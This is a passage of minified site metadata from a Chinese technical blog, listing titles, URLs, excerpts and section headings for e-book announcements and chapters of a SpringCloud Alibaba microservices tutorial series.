fbe",path:"/md/knowledge/pdf/2022-03-30-%E3%80%8A%E5%86%B0%E6%B2%B3%E7%9A%84%E6%B8%97%E9%80%8F%E5%AE%9E%E6%88%98%E7%AC%94%E8%AE%B0%E3%80%8B%E7%94%B5%E5%AD%90%E4%B9%A6%EF%BC%8C442%E9%A1%B5%EF%BC%8C37%E4%B8%87%E5%AD%97%EF%BC%8C%E6%AD%A3%E5%BC%8F%E5%8F%91%E5%B8%83.html",headers:[{level:2,title:"本书特点",slug:"本书特点"},{level:2,title:"写作本书的缘由",slug:"写作本书的缘由"},{level:2,title:"本书内容精选",slug:"本书内容精选"},{level:2,title:"如何获取本书?",slug:"如何获取本书"},{level:2,title:"其他",slug:"其他"},{level:2,title:"加入星球",slug:"加入星球"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:23:05",lastUpdatedTimestamp:1666092185e3},{title:"《SpringCloud Alibaba实战》正式发布",frontmatter:{layout:"post",category:"interview",title:"《SpringCloud Alibaba实战》正式发布",tagline:"by 冰河",tag:["hack","interview"],excerpt:"之前很多小伙伴都在跟我说:网上关于SpringCloud Alibaba的技术不是很系统,也不是很全面,问我如何系统的学习SpringCloud Alibaba技术,于是乎,我便在 **冰河技术** 公号中连载了《[SpringCloud Alibaba实战](https://mp.weixin.qq.com/mp/appmsgalbum?__biz=Mzg4MjU0OTM1OA==&action=getalbum&album_id=2337104419664084992&scene=173&from_msgid=2247502884&from_itemidx=1&count=3&nolastread=1#wechat_redirect)》专栏。整个专栏分为十大篇章,共26个章节。",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:23:05.000Z"},{property:"og:title",content:"《SpringCloud Alibaba实战》正式发布"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/knowledge/pdf/2022-07-25-%E5%8D%81%E5%A4%A7%E7%AF%87%E7%AB%A0-%E5%85%B126%E4%B8%AA%E7%AB%A0%E8%8A%82-332%E9%A1%B5-%E6%89%93%E5%8C%85%E5%8F%91%E5%B8%83.html"},{name:"twitter:title",content:"《SpringCloud Alibaba实战》正式发布"},{name:"twitter:url",content:"/md/knowledge/pdf/2022-07-25-%E5%8D%81%E5%A4%A7%E7%AF%87%E7%AB%A0-%E5%85%B126%E4%B8%AA%E7%AB%A0%E8%8A%82-332%E9%A1%B5-%E6%89%93%E5%8C%85%E5%8F%91%E5%B8%83.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/knowledge/pdf/2022-07-25-%E5%8D%81%E5%A4%A7%E7%AF%87%E7%AB%A0-%E5%85%B126%E4%B8%AA%E7%AB%A0%E8%8A%82-332%E9%A1%B5-%E6%89%93%E5%8C%85%E5%8F%91%E5%B8%83.html",relativePath:"md/knowledge/pdf/2022-07-25-十大篇章-共26个章节-332页-打包发布.md",key:"v-0b66ae88",path:"/md/knowledge/pdf/2022-07-25-%E5%8D%81%E5%A4%A7%E7%AF%87%E7%AB%A0-%E5%85%B126%E4%B8%AA%E7%AB%A0%E8%8A%82-332%E9%A1%B5-%E6%89%93%E5%8C%85%E5%8F%91%E5%B8%83.html",headers:[{level:2,title:"电子书结构",slug:"电子书结构"},{level:2,title:"如何获取电子书",slug:"如何获取电子书"},{level:2,title:"加入星球",slug:"加入星球"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:23:05",lastUpdatedTimestamp:1666092185e3},{title:"《深入理解高并发编程(第1版)》正式发布",frontmatter:{layout:"post",category:"interview",title:"《深入理解高并发编程(第1版)》正式发布",tagline:"by 冰河",tag:["hack","interview"],excerpt:"2020年疫情期间,大部分企业都实行居家办公的策略,而我,也在家里办公。这就省去了每天坐公交上下班的时间,无形当中,节省了很多时间,也就意味着有了更多的时间来自由支配。那多出来的时间干啥?想来想去,还是写一些关于高并发编程的技术文章吧,因为在网上公开的关于高并发编程的知识要么很零散,要么就是收费的,根本无法满足我对高并发编程的需求。 **怎么办?既然网上没有,那我就自己写吧。**",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:23:05.000Z"},{property:"og:title",content:"《深入理解高并发编程(第1版)》正式发布"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/knowledge/pdf/2022-07-25-%E6%B7%B1%E5%85%A5%E7%90%86%E8%A7%A3%E9%AB%98%E5%B9%B6%E5%8F%91%E7%BC%96%E7%A8%8B-%E7%AC%AC1%E7%89%88.html"},{name:"twitter:title",content:"《深入理解高并发编程(第1版)》正式发布"},{name:"twitter:url",content:"/md/knowledge/pdf/2022-07-25-%E6%B7%B1%E5%85%A5%E7%90%86%E8%A7%A3%E9%AB%98%E5%B9%B6%E5%8F%91%E7%BC%96%E7%A8%8B-%E7%AC%AC1%E7%89%88.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/knowledge/pdf/2022-07-25-%E6%B7%B1%E5%85%A5%E7%90%86%E8%A7%A3%E9%AB%98%E5%B9%B6%E5%8F%91%E7%BC%96%E7%A8%8B-%E7%AC%AC1%E7%89%88.html",relativePath:"md/knowledge/pdf/2022-07-25-深入理解高并发编程-第1版.md",key:"v-5a600e7a",path:"/md/knowledge/pdf/2022-07-25-%E6%B7%B1%E5%85%A5%E7%90%86%E8%A7%A3%E9%AB%98%E5%B9%B6%E5%8F%91%E7%BC%96%E7%A8%8B-%E7%AC%AC1%E7%89%88.html",headers:[{level:2,title:"写作背景",slug:"写作背景"},{level:2,title:"艰难的写作过程",slug:"艰难的写作过程"},{level:2,title:"整理电子书",slug:"整理电子书"},{level:2,title:"关于电子书",slug:"关于电子书"},{level:2,title:"全书内容概览",slug:"全书内容概览"},{level:2,title:"后续规划",slug:"后续规划"},{level:2,title:"加入星球",slug:"加入星球"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:23:05",lastUpdatedTimestamp:1666092185e3},{title:"关于我",frontmatter:{meta:[{property:"article:modified_time",content:"2022-10-18T11:23:05.000Z"},{property:"og:title",content:"关于我"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/microservices/springboot/default.html"},{name:"twitter:title",content:"关于我"},{name:"twitter:url",content:"/md/microservices/springboot/default.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/microservices/springboot/default.html",relativePath:"md/microservices/springboot/default.md",key:"v-3a9d3f25",path:"/md/microservices/springboot/default.html",lastUpdated:"2022/10/18 11:23:05",lastUpdatedTimestamp:1666092185e3},{title:"关于我",frontmatter:{meta:[{property:"article:modified_time",content:"2022-10-18T11:23:05.000Z"},{property:"og:title",content:"关于我"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/microservices/springcloud/default.html"},{name:"twitter:title",content:"关于我"},{name:"twitter:url",content:"/md/microservices/springcloud/default.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/microservices/springcloud/default.html",relativePath:"md/microservices/springcloud/default.md",key:"v-5cc177b2",path:"/md/microservices/springcloud/default.html",lastUpdated:"2022/10/18 11:23:05",lastUpdatedTimestamp:1666092185e3},{title:"第01章:专栏开篇",frontmatter:{layout:"post",category:"binghe-code-springcloudalibaba",title:"第01章:专栏开篇",tagline:"by 冰河",tag:["springcloud","springcloudalibaba","binghe-code-springcloudalibaba"],excerpt:"很多小伙伴留言说,冰河你能不能写一些关于Java8的文章呢,看书看不下去,看视频进度太慢。好吧,看到不少读者对Java8还是比较陌生的,那我就写一些关于Java8的文章吧,希望对大家有所帮助。",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:23:05.000Z"},{property:"og:title",content:"第01章:专栏开篇"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/microservices/springcloudalibaba/2022-04-02-SpringCloudAlibaba%E4%B8%93%E6%A0%8F%E5%BC%80%E7%AF%87.html"},{name:"twitter:title",content:"第01章:专栏开篇"},{name:"twitter:url",content:"/md/microservices/springcloudalibaba/2022-04-02-SpringCloudAlibaba%E4%B8%93%E6%A0%8F%E5%BC%80%E7%AF%87.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/microservices/springcloudalibaba/2022-04-02-SpringCloudAlibaba%E4%B8%93%E6%A0%8F%E5%BC%80%E7%AF%87.html",relativePath:"md/microservices/springcloudalibaba/2022-04-02-SpringCloudAlibaba专栏开篇.md",key:"v-ed5cf674",path:"/md/microservices/springcloudalibaba/2022-04-02-SpringCloudAlibaba%E4%B8%93%E6%A0%8F%E5%BC%80%E7%AF%87.html",headers:[{level:2,title:"专栏整体结构",slug:"专栏整体结构"},{level:2,title:"专栏形式",slug:"专栏形式"},{level:2,title:"适应群体",slug:"适应群体"},{level:2,title:"资源安排",slug:"资源安排"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:23:05",lastUpdatedTimestamp:1666092185e3},{title:"第02章:专栏设计",frontmatter:{layout:"post",category:"binghe-code-springcloudalibaba",title:"第02章:专栏设计",tagline:"by 冰河",tag:["springcloud","springcloudalibaba","binghe-code-springcloudalibaba"],excerpt:"从今天开始,我们正式进入《SpringCloud Alibaba实战》专栏的学习,在《开篇》一文中,我们大体介绍了整个专栏的结构安排。今天我们就再次和小伙伴们聊聊《SpringCloud Alibaba实战》专栏的设计。",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:23:05.000Z"},{property:"og:title",content:"第02章:专栏设计"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/microservices/springcloudalibaba/2022-04-04-SA%E5%AE%9E%E6%88%98%C2%B7%E7%AC%AC%E4%B8%80%E7%AF%87-%E4%B8%93%E6%A0%8F%E8%AE%BE%E8%AE%A1.html"},{name:"twitter:title",content:"第02章:专栏设计"},{name:"twitter:url",content:"/md/microservices/springcloudalibaba/2022-04-04-SA%E5%AE%9E%E6%88%98%C2%B7%E7%AC%AC%E4%B8%80%E7%AF%87-%E4%B8%93%E6%A0%8F%E8%AE%BE%E8%AE%A1.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/microservices/springcloudalibaba/2022-04-04-SA%E5%AE%9E%E6%88%98%C2%B7%E7%AC%AC%E4%B8%80%E7%AF%87-%E4%B8%93%E6%A0%8F%E8%AE%BE%E8%AE%A1.html",relativePath:"md/microservices/springcloudalibaba/2022-04-04-SA实战·第一篇-专栏设计.md",key:"v-4c9ffc34",path:"/md/microservices/springcloudalibaba/2022-04-04-SA%E5%AE%9E%E6%88%98%C2%B7%E7%AC%AC%E4%B8%80%E7%AF%87-%E4%B8%93%E6%A0%8F%E8%AE%BE%E8%AE%A1.html",headers:[{level:2,title:"整体设计",slug:"整体设计"},{level:2,title:"案例驱动",slug:"案例驱动"},{level:2,title:"综合对比",slug:"综合对比"},{level:2,title:"资源安排",slug:"资源安排"},{level:2,title:"其他说明",slug:"其他说明"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:23:05",lastUpdatedTimestamp:1666092185e3},{title:"第03章:微服务介绍",frontmatter:{layout:"post",category:"binghe-code-springcloudalibaba",title:"第03章:微服务介绍",tagline:"by 冰河",tag:["springcloud","springcloudalibaba","binghe-code-springcloudalibaba"],excerpt:"今天,我们继续为大家分享《[SpringCloud Alibaba实战](https://mp.weixin.qq.com/mp/appmsgalbum?__biz=Mzg4MjU0OTM1OA==&action=getalbum&album_id=2337104419664084992#wechat_redirect)》专栏的内容。今天,为大家分享的内容是微服务中常见的一些概念性的内容。",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:23:05.000Z"},{property:"og:title",content:"第03章:微服务介绍"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/microservices/springcloudalibaba/2022-04-09-SA%E5%AE%9E%E6%88%98-%E5%BE%AE%E6%9C%8D%E5%8A%A1%E4%BB%8B%E7%BB%8D.html"},{name:"twitter:title",content:"第03章:微服务介绍"},{name:"twitter:url",content:"/md/microservices/springcloudalibaba/2022-04-09-SA%E5%AE%9E%E6%88%98-%E5%BE%AE%E6%9C%8D%E5%8A%A1%E4%BB%8B%E7%BB%8D.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/microservices/springcloudalibaba/2022-04-09-SA%E5%AE%9E%E6%88%98-%E5%BE%AE%E6%9C%8D%E5%8A%A1%E4%BB%8B%E7%BB%8D.html",relativePath:"md/microservices/springcloudalibaba/2022-04-09-SA实战-微服务介绍.md",key:"v-075dfb8c",path:"/md/microservices/springcloudalibaba/2022-04-09-SA%E5%AE%9E%E6%88%98-%E5%BE%AE%E6%9C%8D%E5%8A%A1%E4%BB%8B%E7%BB%8D.html",headers:[{level:2,title:"题外话",slug:"题外话"},{level:2,title:"微服务化后的问题",slug:"微服务化后的问题"},{level:2,title:"微服务常见概念",slug:"微服务常见概念"},{level:3,title:"服务调用",slug:"服务调用"},{level:3,title:"服务治理",slug:"服务治理"},{level:3,title:"注册中心",slug:"注册中心"},{level:3,title:"服务网关",slug:"服务网关"},{level:3,title:"服务限流",slug:"服务限流"},{level:3,title:"服务熔断",slug:"服务熔断"},{level:3,title:"服务降级",slug:"服务降级"},{level:3,title:"服务容错",slug:"服务容错"},{level:3,title:"链路追踪",slug:"链路追踪"},{level:2,title:"SpringCloud Alibaba",slug:"springcloud-alibaba"},{level:3,title:"主要功能",slug:"主要功能"},{level:3,title:"组件",slug:"组件"}],lastUpdated:"2022/10/18 11:23:05",lastUpdatedTimestamp:1666092185e3},{title:"第04章:项目说明、流程设计、技术选型与模块划分",frontmatter:{layout:"post",category:"binghe-code-springcloudalibaba",title:"第04章:项目说明、流程设计、技术选型与模块划分",tagline:"by 冰河",tag:["springcloud","springcloudalibaba","binghe-code-springcloudalibaba"],excerpt:"在前面的章节中,我们对《[SpringCloud Alibaba实战》](https://mp.weixin.qq.com/mp/appmsgalbum?__biz=Mzg4MjU0OTM1OA==&action=getalbum&album_id=2337104419664084992#wechat_redirect)专栏的内容进行了简单的介绍,并简单介绍了微服务的相关概念。今天,继续为大家分享《[SpringCloud Alibaba实战》](https://mp.weixin.qq.com/mp/appmsgalbum?__biz=Mzg4MjU0OTM1OA==&action=getalbum&album_id=2337104419664084992#wechat_redirect)专栏的内容。今天与小伙伴们一起聊聊整个实战专栏最后的准备工作,包括:项目说明、流程设计、技术选型和模块划分。",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:23:05.000Z"},{property:"og:title",content:"第04章:项目说明、流程设计、技术选型与模块划分"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/microservices/springcloudalibaba/2022-04-13-SA%E5%AE%9E%E6%88%98%C2%B7%E9%A1%B9%E7%9B%AE%E8%AF%B4%E6%98%8E-%E6%B5%81%E7%A8%8B%E8%AE%BE%E8%AE%A1-%E6%8A%80%E6%9C%AF%E9%80%89%E5%9E%8B-%E6%A8%A1%E5%9D%97%E5%88%92%E5%88%86.html"},{name:"twitter:title",content:"第04章:项目说明、流程设计、技术选型与模块划分"},{name:"twitter:url",content:"/md/microservices/springcloudalibaba/2022-04-13-SA%E5%AE%9E%E6%88%98%C2%B7%E9%A1%B9%E7%9B%AE%E8%AF%B4%E6%98%8E-%E6%B5%81%E7%A8%8B%E8%AE%BE%E8%AE%A1-%E6%8A%80%E6%9C%AF%E9%80%89%E5%9E%8B-%E6%A8%A1%E5%9D%97%E5%88%92%E5%88%86.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/microservices/springcloudalibaba/2022-04-13-SA%E5%AE%9E%E6%88%98%C2%B7%E9%A1%B9%E7%9B%AE%E8%AF%B4%E6%98%8E-%E6%B5%81%E7%A8%8B%E8%AE%BE%E8%AE%A1-%E6%8A%80%E6%9C%AF%E9%80%89%E5%9E%8B-%E6%A8%A1%E5%9D%97%E5%88%92%E5%88%86.html",relativePath:"md/microservices/springcloudalibaba/2022-04-13-SA实战·项目说明-流程设计-技术选型-模块划分.md",key:"v-537a8168",path:"/md/microservices/springcloudalibaba/2022-04-13-SA%E5%AE%9E%E6%88%98%C2%B7%E9%A1%B9%E7%9B%AE%E8%AF%B4%E6%98%8E-%E6%B5%81%E7%A8%8B%E8%AE%BE%E8%AE%A1-%E6%8A%80%E6%9C%AF%E9%80%89%E5%9E%8B-%E6%A8%A1%E5%9D%97%E5%88%92%E5%88%86.html",headers:[{level:2,title:"项目说明",slug:"项目说明"},{level:2,title:"项目流程设计",slug:"项目流程设计"},{level:2,title:"技术选型",slug:"技术选型"},{level:2,title:"模块划分",slug:"模块划分"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:23:05",lastUpdatedTimestamp:1666092185e3},{title:"第05章:完成通用模块的开发",frontmatter:{layout:"post",category:"binghe-code-springcloudalibaba",title:"第05章:完成通用模块的开发",tagline:"by 冰河",tag:["springcloud","springcloudalibaba","binghe-code-springcloudalibaba"],excerpt:"从今天开始,我们正式进入《[SpringCloud Alibaba实战](https://mp.weixin.qq.com/mp/appmsgalbum?__biz=Mzg4MjU0OTM1OA==&action=getalbum&album_id=2337104419664084992&scene=21#wechat_redirect)》专栏撸源码的环节。根据前面文章的描述,我们采用Maven来管理整个项目的结构,主要使用SpringBoot+SpringCloud Alibaba技术栈实现。今天,是我们撸源码的第一天,我们先使用SpringBoot来快速搭建项目并且完成通用工具类和实体类的开发。",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:23:05.000Z"},{property:"og:title",content:"第05章:完成通用模块的开发"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/microservices/springcloudalibaba/2022-04-18-SA%E5%AE%9E%E6%88%98-%E5%BC%80%E6%92%B8-%E5%AE%8C%E6%88%90%E9%80%9A%E7%94%A8%E6%A8%A1%E5%9D%97%E7%9A%84%E5%BC%80%E5%8F%91.html"},{name:"twitter:title",content:"第05章:完成通用模块的开发"},{name:"twitter:url",content:"/md/microservices/springcloudalibaba/2022-04-18-SA%E5%AE%9E%E6%88%98-%E5%BC%80%E6%92%B8-%E5%AE%8C%E6%88%90%E9%80%9A%E7%94%A8%E6%A8%A1%E5%9D%97%E7%9A%84%E5%BC%80%E5%8F%91.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/microservices/springcloudalibaba/2022-04-18-SA%E5%AE%9E%E6%88%98-%E5%BC%80%E6%92%B8-%E5%AE%8C%E6%88%90%E9%80%9A%E7%94%A8%E6%A8%A1%E5%9D%97%E7%9A%84%E5%BC%80%E5%8F%91.html",relativePath:"md/microservices/springcloudalibaba/2022-04-18-SA实战-开撸-完成通用模块的开发.md",key:"v-60546cf5",path:"/md/microservices/springcloudalibaba/2022-04-18-SA%E5%AE%9E%E6%88%98-%E5%BC%80%E6%92%B8-%E5%AE%8C%E6%88%90%E9%80%9A%E7%94%A8%E6%A8%A1%E5%9D%97%E7%9A%84%E5%BC%80%E5%8F%91.html",headers:[{level:2,title:"项目总体结构",slug:"项目总体结构"},{level:2,title:"创建Maven父工程",slug:"创建maven父工程"},{level:2,title:"创建工具类模块",slug:"创建工具类模块"},{level:3,title:"添加项目依赖",slug:"添加项目依赖"},{level:3,title:"核心类开发",slug:"核心类开发"},{level:2,title:"创建实体类模块",slug:"创建实体类模块"},{level:3,title:"添加项目依赖",slug:"添加项目依赖-2"},{level:3,title:"核心类开发",slug:"核心类开发-2"},{level:2,title:"创建数据表",slug:"创建数据表"},{level:2,title:"知识星球",slug:"知识星球"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:23:05",lastUpdatedTimestamp:1666092185e3},{title:"第06章:快速搭建三大微服务并完成交互开发与测试",frontmatter:{layout:"post",category:"binghe-code-springcloudalibaba",title:"第06章:快速搭建三大微服务并完成交互开发与测试",tagline:"by 冰河",tag:["springcloud","springcloudalibaba","binghe-code-springcloudalibaba"],excerpt:"在《[SpringCloud Alibaba实战](https://mp.weixin.qq.com/mp/appmsgalbum?__biz=Mzg4MjU0OTM1OA==&action=getalbum&album_id=2337104419664084992&scene=173&from_msgid=2247500214&from_itemidx=1&count=3&nolastread=1#wechat_redirect)》专栏中前面的文章,我们为开发用户微服务、商品微服务和订单微服务做了充分的准备。今天,我们就一起正式开撸三大微服务的核心业务。",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:23:05.000Z"},{property:"og:title",content:"第06章:快速搭建三大微服务并完成交互开发与测试"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/microservices/springcloudalibaba/2022-04-21-SA%E5%AE%9E%E6%88%98-%E5%AE%8C%E6%88%90%E4%B8%89%E5%A4%A7%E5%BE%AE%E6%9C%8D%E5%8A%A1%E7%9A%84%E6%90%AD%E5%BB%BA%E4%B8%8E%E4%BA%A4%E4%BA%92%E5%BC%80%E5%8F%91.html"},{name:"twitter:title",content:"第06章:快速搭建三大微服务并完成交互开发与测试"},{name:"twitter:url",content:"/md/microservices/springcloudalibaba/2022-04-21-SA%E5%AE%9E%E6%88%98-%E5%AE%8C%E6%88%90%E4%B8%89%E5%A4%A7%E5%BE%AE%E6%9C%8D%E5%8A%A1%E7%9A%84%E6%90%AD%E5%BB%BA%E4%B8%8E%E4%BA%A4%E4%BA%92%E5%BC%80%E5%8F%91.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/microservices/springcloudalibaba/2022-04-21-SA%E5%AE%9E%E6%88%98-%E5%AE%8C%E6%88%90%E4%B8%89%E5%A4%A7%E5%BE%AE%E6%9C%8D%E5%8A%A1%E7%9A%84%E6%90%AD%E5%BB%BA%E4%B8%8E%E4%BA%A4%E4%BA%92%E5%BC%80%E5%8F%91.html",relativePath:"md/microservices/springcloudalibaba/2022-04-21-SA实战-完成三大微服务的搭建与交互开发.md",key:"v-7918ac0c",path:"/md/microservices/springcloudalibaba/2022-04-21-SA%E5%AE%9E%E6%88%98-%E5%AE%8C%E6%88%90%E4%B8%89%E5%A4%A7%E5%BE%AE%E6%9C%8D%E5%8A%A1%E7%9A%84%E6%90%AD%E5%BB%BA%E4%B8%8E%E4%BA%A4%E4%BA%92%E5%BC%80%E5%8F%91.html",headers:[{level:2,title:"文章结构",slug:"文章结构"},{level:2,title:"项目概述",slug:"项目概述"},{level:3,title:"整体交互流程",slug:"整体交互流程"},{level:3,title:"服务规划",slug:"服务规划"},{level:2,title:"用户微服务",slug:"用户微服务"},{level:3,title:"搭建项目",slug:"搭建项目"},{level:3,title:"开发持久层",slug:"开发持久层"},{level:3,title:"开发业务逻辑层",slug:"开发业务逻辑层"},{level:3,title:"开发接口层",slug:"开发接口层"},{level:3,title:"开发服务启动类",slug:"开发服务启动类"},{level:2,title:"商品微服务",slug:"商品微服务"},{level:3,title:"项目搭建",slug:"项目搭建"},{level:3,title:"开发持久层",slug:"开发持久层-2"},{level:3,title:"开发业务逻辑层",slug:"开发业务逻辑层-2"},{level:3,title:"开发接口层",slug:"开发接口层-2"},{level:3,title:"开发服务启动类",slug:"开发服务启动类-2"},{level:2,title:"订单微服务",slug:"订单微服务"},{level:3,title:"项目搭建",slug:"项目搭建-2"},{level:3,title:"开发持久层",slug:"开发持久层-3"},{level:3,title:"开发业务逻辑层",slug:"开发业务逻辑层-3"},{level:3,title:"开发接口层",slug:"开发接口层-3"},{level:3,title:"开发服务启动类",slug:"开发服务启动类-3"},{level:3,title:"开发辅助类",slug:"开发辅助类"},{level:2,title:"测试项目",slug:"测试项目"},{level:3,title:"添加测试数据",slug:"添加测试数据"},{level:3,title:"测试库存不足的情况",slug:"测试库存不足的情况"},{level:3,title:"测试正常下单的情况",slug:"测试正常下单的情况"},{level:2,title:"关于星球",slug:"关于星球"},{level:3,title:"星球提供的服务",slug:"星球提供的服务"},{level:3,title:"星球门票价格",slug:"星球门票价格"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:23:05",lastUpdatedTimestamp:1666092185e3},{title:"第07章:实现服务的自动注册与发现",frontmatter:{layout:"post",category:"binghe-code-springcloudalibaba",title:"第07章:实现服务的自动注册与发现",tagline:"by 冰河",tag:["springcloud","springcloudalibaba","binghe-code-springcloudalibaba"],excerpt:"本文实现服务治理,主要实现服务的自动注册与发现功能",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:23:05.000Z"},{property:"og:title",content:"第07章:实现服务的自动注册与发现"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/microservices/springcloudalibaba/2022-04-25-SA%E5%AE%9E%E6%88%98-%E6%9C%8D%E5%8A%A1%E6%B2%BB%E7%90%86-%E5%AE%9E%E7%8E%B0%E6%9C%8D%E5%8A%A1%E7%9A%84%E6%B3%A8%E5%86%8C%E4%B8%8E%E5%8F%91%E7%8E%B0.html"},{name:"twitter:title",content:"第07章:实现服务的自动注册与发现"},{name:"twitter:url",content:"/md/microservices/springcloudalibaba/2022-04-25-SA%E5%AE%9E%E6%88%98-%E6%9C%8D%E5%8A%A1%E6%B2%BB%E7%90%86-%E5%AE%9E%E7%8E%B0%E6%9C%8D%E5%8A%A1%E7%9A%84%E6%B3%A8%E5%86%8C%E4%B8%8E%E5%8F%91%E7%8E%B0.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/microservices/springcloudalibaba/2022-04-25-SA%E5%AE%9E%E6%88%98-%E6%9C%8D%E5%8A%A1%E6%B2%BB%E7%90%86-%E5%AE%9E%E7%8E%B0%E6%9C%8D%E5%8A%A1%E7%9A%84%E6%B3%A8%E5%86%8C%E4%B8%8E%E5%8F%91%E7%8E%B0.html",relativePath:"md/microservices/springcloudalibaba/2022-04-25-SA实战-服务治理-实现服务的注册与发现.md",key:"v-d1e51886",path:"/md/microservices/springcloudalibaba/2022-04-25-SA%E5%AE%9E%E6%88%98-%E6%9C%8D%E5%8A%A1%E6%B2%BB%E7%90%86-%E5%AE%9E%E7%8E%B0%E6%9C%8D%E5%8A%A1%E7%9A%84%E6%B3%A8%E5%86%8C%E4%B8%8E%E5%8F%91%E7%8E%B0.html",headers:[{level:2,title:"硬编码的问题",slug:"硬编码的问题"},{level:2,title:"服务治理",slug:"服务治理"},{level:2,title:"注册中心",slug:"注册中心"},{level:3,title:"服务注册与发现",slug:"服务注册与发现"},{level:3,title:"服务配置",slug:"服务配置"},{level:3,title:"服务健康检测",slug:"服务健康检测"},{level:3,title:"常见的注册中心",slug:"常见的注册中心"},{level:2,title:"搭建Nacos环境",slug:"搭建nacos环境"},{level:2,title:"集成Nacos注册中心",slug:"集成nacos注册中心"},{level:3,title:"改造用户微服务",slug:"改造用户微服务"},{level:3,title:"改造其他微服务",slug:"改造其他微服务"},{level:2,title:"实现服务发现",slug:"实现服务发现"},{level:3,title:"注入服务发现类",slug:"注入服务发现类"},{level:3,title:"创建动态服务地址方法",slug:"创建动态服务地址方法"},{level:3,title:"定义服务提供者名称",slug:"定义服务提供者名称"},{level:3,title:"修改提交订单逻辑",slug:"修改提交订单逻辑"},{level:2,title:"测试项目",slug:"测试项目"},{level:3,title:"添加测试数据",slug:"添加测试数据"},{level:3,title:"测试库存不足的情况",slug:"测试库存不足的情况"},{level:3,title:"测试正常下单的情况",slug:"测试正常下单的情况"},{level:2,title:"关于星球",slug:"关于星球"},{level:3,title:"星球提供的服务",slug:"星球提供的服务"},{level:3,title:"星球门票价格",slug:"星球门票价格"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:23:05",lastUpdatedTimestamp:1666092185e3},{title:"第08章:实现服务调用的负载均衡",frontmatter:{layout:"post",category:"binghe-code-springcloudalibaba",title:"第08章:实现服务调用的负载均衡",tagline:"by 冰河",tag:["springcloud","springcloudalibaba","binghe-code-springcloudalibaba"],excerpt:"本文实现服务治理:实现服务调用的负载均衡",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:23:05.000Z"},{property:"og:title",content:"第08章:实现服务调用的负载均衡"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/microservices/springcloudalibaba/2022-04-27-SA%E5%AE%9E%E6%88%98-%E7%AC%AC8%E7%AB%A0-%E6%9C%8D%E5%8A%A1%E6%B2%BB%E7%90%86-%E5%AE%9E%E7%8E%B0%E6%9C%8D%E5%8A%A1%E8%B0%83%E7%94%A8%E7%9A%84%E8%B4%9F%E8%BD%BD%E5%9D%87%E8%A1%A1.html"},{name:"twitter:title",content:"第08章:实现服务调用的负载均衡"},{name:"twitter:url",content:"/md/microservices/springcloudalibaba/2022-04-27-SA%E5%AE%9E%E6%88%98-%E7%AC%AC8%E7%AB%A0-%E6%9C%8D%E5%8A%A1%E6%B2%BB%E7%90%86-%E5%AE%9E%E7%8E%B0%E6%9C%8D%E5%8A%A1%E8%B0%83%E7%94%A8%E7%9A%84%E8%B4%9F%E8%BD%BD%E5%9D%87%E8%A1%A1.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/microservices/springcloudalibaba/2022-04-27-SA%E5%AE%9E%E6%88%98-%E7%AC%AC8%E7%AB%A0-%E6%9C%8D%E5%8A%A1%E6%B2%BB%E7%90%86-%E5%AE%9E%E7%8E%B0%E6%9C%8D%E5%8A%A1%E8%B0%83%E7%94%A8%E7%9A%84%E8%B4%9F%E8%BD%BD%E5%9D%87%E8%A1%A1.html",relativePath:"md/microservices/springcloudalibaba/2022-04-27-SA实战-第8章-服务治理-实现服务调用的负载均衡.md",key:"v-5550a4cf",path:"/md/microservices/springcloudalibaba/2022-04-27-SA%E5%AE%9E%E6%88%98-%E7%AC%AC8%E7%AB%A0-%E6%9C%8D%E5%8A%A1%E6%B2%BB%E7%90%86-%E5%AE%9E%E7%8E%B0%E6%9C%8D%E5%8A%A1%E8%B0%83%E7%94%A8%E7%9A%84%E8%B4%9F%E8%BD%BD%E5%9D%87%E8%A1%A1.html",headers:[{level:2,title:"负载均衡",slug:"负载均衡"},{level:3,title:"服务端负载均衡",slug:"服务端负载均衡"},{level:3,title:"客户端负载均衡",slug:"客户端负载均衡"},{level:2,title:"启动多服务",slug:"启动多服务"},{level:3,ti